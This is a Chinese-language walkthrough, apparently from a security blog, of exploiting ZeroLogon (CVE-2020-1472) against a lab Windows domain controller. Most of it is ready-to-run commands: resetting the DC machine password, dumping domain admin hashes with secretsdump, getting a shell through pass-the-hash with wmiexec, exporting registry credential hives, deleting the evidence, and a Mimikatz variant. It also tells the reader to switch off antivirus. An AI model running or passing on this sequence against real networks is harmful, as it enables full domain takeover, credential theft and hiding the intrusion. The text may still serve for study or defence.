CVE-2020-1472攻击过程
漏洞介绍
在今年9月份,国外披露了CVE-2020-1472(又被叫做ZeroLogon)的漏洞详情,网上也随即公开了Exp。是近几年windows上比较重量级别的一个漏洞。通过该漏洞,攻击者只需能够访问域控的445端口,在无需任何凭据的情况下能拿到域管的权限。该漏洞的产生来源于Netlogon协议认证的加密模块存在缺陷,导致攻击者可以在没有凭证的情况情况下通过认证。该漏洞的最稳定利用是调用netlogon中RPC函数NetrServerPasswordSet2来重置域控的密码,从而以域控的身份进行Dcsync获取域管权限。CVE-2020-1472来重置域控密码。注意,这里是域控密码,不是域管的密码。是域控这个机器用户的密码。可能对域不是很熟悉的人对这点不是很了解。在域内,机器用户跟域用户一样,是域内的成员,他在域内的用户名是机器用户+$(如DC2016\$),在本地的用户名是SYSTEM。在拥有域控的机器用户密码的情况下,并不能直接使用该密码登录域控,因为机器用户是不可以登录的,但是因为域控的机器用户具备Dcsync特权,我们就可以滥用该特权来进行Dcsync
环境
攻击机 windows 10
域控服务器 windows server 2012 192.168.139.147
python 3.8
准备工具
https://github.com/VoidSec/CVE-2020-1472
https://github.com/maaaaz/impacket-examples-windows 【这是下面包中脚本转成的exe】
https://github.com/SecureAuthCorp/impacket
impacket需要使用最新的要用Impacket v0.9.22.dev1+20200915.160006.1397e2b5,并不是release中,或者pip中直接指定的
建议:git clone https://github.com/SecureAuthCorp/impacket.git
当然也可以直接
其次如果使用的linux,执行脚本在出现$之类的特殊字符需要\转义,我在window下执行,没遇到这个问题
域和计算机名搞混淆,导致参数填写错误,哪个是域,哪个是计算机名,看下图
关于坑点:
在windows中有python启动器,py -3指定使用python3,防止选错python版本
安装impacket这步,手动安装,并且把requirements.txt中的impacket==0.9.21这行去掉,不然执行py -3 pip install -r requirements.txt安装其他库时,impacket又装一遍,会覆盖掉最新版
安装过程:
先卸载旧版本:
py -3 -m pip uninstall impacket
安装新版本:
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
py -3 setup.py install
报错说明
AttributeError: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2',属于坑点1,手动安装impacket解决
secretsdump.py执行后无法获取NTDS.DIT信息,多半是域和计算机名混淆或者出现$未转义,对照坑点计算机名确认
[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)多半是域和计算机名混淆或者出现$未转义,对照坑点3的图片,确认下,自己环境中对应的参数填写正确没
利用
环境准备就绪以后,运行exp,记得关杀软
py -3 cve-2020-1472-exploit.py -n DC -t 192.168.1.150
-n 计算机名
-t 域控ip
检测到存在漏洞,Y继续清空域控密码
成功之后用刚刚下载的
impacket-examples-windows
通过secretsdump.exe dump 域管 hash
.\secretsdump.exe -no-pass -just-dc DC$@192.168.1.150
-no-pass 无密码登录
-just-dc 仅提取NTDS.DIT数据(NTLM哈希和Kerberos键)
DC$@192.168.1.150 计算机名$@域控ip
获取域控机器shell 和 导出域控计算机帐户的原始NT哈希
-hashes 域管理员的nthash:lmhash
.\wmiexec.exe –hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab
test.com/administrator@192.168.1.150
此时会返回一个交互式域控shell
本地保存文件
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
下载文件
get system.save
get sam.save
get security.save
擦屁股
del /f system.save
del /f sam.save
del /f security.save
读取下载的文件计算原本的机器用户密码
.\ secretsdump.exe -sam sam.save -system system.save -security security.save LOCAL
随后把密码锤回去,这里使用的值是$MACHINE.ACC: 后的hash
Py -3 .\reinstall_original_pw.py DC 192.168.1.150
aad3b435b51404eeaad3b435b51404ee:5af95711c65a1312605ee044a484fb89
Mimikatz利用方式
探测是否存在漏洞
lsadump::zerologon /target:192.168.1.150 /account:DC$
lsadump::zerologon /target:192.168.1.150 /account:DC$ /exploit 攻击
lsadump::dcsync /domain:test.com /dc:DC /user:Administrator /authuser:DC$ /authdomain:test /authpassword:"" /authntlm
----通过dcsync dump域管hash
提升权限注入会话
privilege::debug
sekurlsa::pth /user:Administrator /doamin:. /rc4:570a9a65db8fba761c1008a51d4c95ab
在注入会话的窗口打开mimikatz 恢复机器用户密码 随后可以开始下一步操作
lsadump::postzerologon /target:192.168.1.150 /account:DC$
参考:
https://www.t00ls.net/viewthread.php?tid=57866&extra=&highlight=cve-2020-1472&page=1